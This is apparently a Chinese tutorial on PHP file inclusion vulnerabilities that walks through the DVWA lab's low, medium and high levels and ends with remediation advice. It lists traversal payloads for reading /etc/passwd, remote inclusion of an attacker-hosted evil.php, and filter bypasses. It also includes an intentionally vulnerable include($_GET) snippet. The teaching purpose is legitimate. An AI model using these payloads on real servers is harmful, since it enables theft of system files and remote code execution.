201-A12-文件包含漏洞(补丁).md

漏洞原理

开发者在代码中调用了外部文件,且调用的文件名受用户输入的影响,

权限控制不严谨的情况下会产生文件包含漏洞(File Inclusion)

分类

文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞

远程文件包含(RFI,Remote File Inclusion)

在文件包含漏洞的利用过程中,Web 应用程序下载并调用了远程文件,称作远程文件包含

这些远程文件通常以 HTTP 或 FTP URI 的形式获取

target.xxx?file=http://hacker_server/evil.php

额外要求

要产生远程文件包含漏洞,在使用了特定函数和权限控制不严谨外,include,require等包含函数还必须可以加载远程文件

PHP的配置文件allow_url_fopenallow_url_include设置为ON

allow_url_fopen = On
//(是否允许打开远程文件)
allow_url_include = On
//(是否允许include/require远程文件)

本地文件包含(LFI,Local File Inclusion)

在文件包含漏洞的利用过程中,Web应用程序调用了本地(服务器上)的文件,称作本地文件包含

target.xxx?file=/etc/hosts

危害

  • Web服务器的文件被外界浏览而导致信息泄漏

  • 作为进一步攻击的垫脚石 (和其他漏洞同时使用造成严重危害)

  • 小概率会导致命令执行

DVWA靶场实战

打开DVWA文件包含页面(File Inclusion)

我们发现,当我们点击file1.php时,对应的URL的page的值变为file1.php,同时Web应用执行file1.php文件的源代码;

http://dvwa_ip/vulnerabilities/fi/?page=file1.php

当我们点击file2.php时,对应的URL的page的值变为file2.php,同时Web应用执行file2.php文件的源代码;

http://dvwa_ip/vulnerabilities/fi/?page=file2.php

当我们点击file3.php时,对应的URL的page的值变为file3.php,同时Web应用执行file3.php文件的源代码。

http://dvwa_ip/vulnerabilities/fi/?page=file3.php

由此可知,当我们在目标URL的page值后添加某个存在的文件名时,Web应用程序会相应的包含此文件。并且会将该文件(无论后缀名)作为PHP代码执行.

low

看一下源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];
// 通过get请求把page参数的值传入file变量
?>

Web应用程序定义了一个变量page,将用户输入的值作为page变量的值,同时将其赋值给file变量。最后,Web应用程序通过对file变量的引用来实现文件的包含功能。

DVWA的low级别一般是不带有任何防护的, 没有对输入的page变量的值执行任何过滤措施,如果我们输入那些系统不希望用户看见任何信息的文件的文件名,并赋值给page变量。那么Web应用程序就会产生文件包含漏洞,系统的敏感信息就会被泄露。

payload1:本地--利用相对路径(许多个../就一定会来到根目录)

../../../../../../../../../../../../../../../../etc/passwd

payload2:本地--利用绝对路径

/etc/passwd

payload3:远程包含

由于DWVA的环境,Web应用可以包含远程文件

http://server/file

如图

medium

直接上源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];
// 依旧是通过get请求把page参数的值传入file变量
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
//将file变量中的http://和https://替换为空
$file = str_replace( array( "../", "..\\" ), "", $file );
//同理,将file变量中的../和..\\替换为空
//但是捏,它只替换了一次且只替换全小写的内容,也就意味着可以通过双写或大小写绕过
?>

payload1:本地--绝对路径

如果我们不使用../..\这两个关键词,而是直接访问根目录下的用户信息文件/etc/passwd

由于Web应用程序的过滤很不严谨,并没有对根目录/执行过滤,所以系统不能过滤我们输入的payload,那么Web应用程序将成功包含文件/etc/passwd,并直接暴露其源代码。 即我们构造的payload成功的绕过了Web应用程序的防御机制。

/etc/passwd

payload2:远程--双写绕过

hthttp://tp://server/file

payload3:远程--大小写绕过

hTtp://server/file

payload4:远程本地皆可--使用http/https外的协议

file:///etc/passwd

high

看源码= =

<?php

// The page we wish to display
// 日常通过get请求把page参数的值传入file变量
$file = $_GET[ 'page' ];

// Input validation
//如果file变量的开头不是file且file的值不为include.php
//就提示找不到文件并退出程序
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

补充一个知识点:

fnmatch() 函数的作用是根据指定的模式来匹配文件名或字符串。 语法为:fnmatch(pattern,string,flags) 各个参数解释如下:

  • pattern 必需。规定要检索的模式。

  • string 必需。规定要检查的字符串或文件。

  • flags 可选. 它是可选的参数表,用于指定标志或标志的组合.

    这些标志可以是以下标志的组合:

    • FNM_PATHNAME:用于指定字符串中的斜线仅匹配给定模式中的斜线。

    • FNM_NOESCAPE:用于禁用反斜杠转义。

    • FNM_CASEFOLD:用于无 shell 匹配。

    • FNM_PERIOD:用于指定字符串中的前导期间必须与给定模式中的期间完全匹配。

high模式中进行了更为安全的白名单过滤,因此现在包含的东西必须要以file开头了

payload1:file协议正合我意

file:///etc/passwd

补充: PHP中文件包含函数

PHP中文件包含函数有以下四种

require()
require_once()
include()
include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,从而确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

测试代码

<?php
    $filename  = $_GET['filename'];
    //可以将include换成其他函数测试
    include($filename);
?>

演示


payload2:利用PHP可以包含多个文件的feature

由上文可推断出,如果程序员在包含的时候用的include,前面那个file开头的文件存不存在都无所谓

file[任何内容]../../../../../../../../../../../../../../../../etc/passwd

如果程序员在包含的时候用的require话,前面那个file开头的文件就必须存在!

file[补全一个存在的文件名]../../../../../../../../../../../../../../../../etc/passwd

修复

修复建议

  • 严格检查变量是否已经初始化。

  • 对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现./和../等目录跳转符。

  • 严格检查文件包含函数中的参数是否外界可控。

Copyright © fsec.io 2022 all right reserved,powered by farmsec该文件修订时间: 2022-09-12 19:25:39

results matching ""

    No results matching ""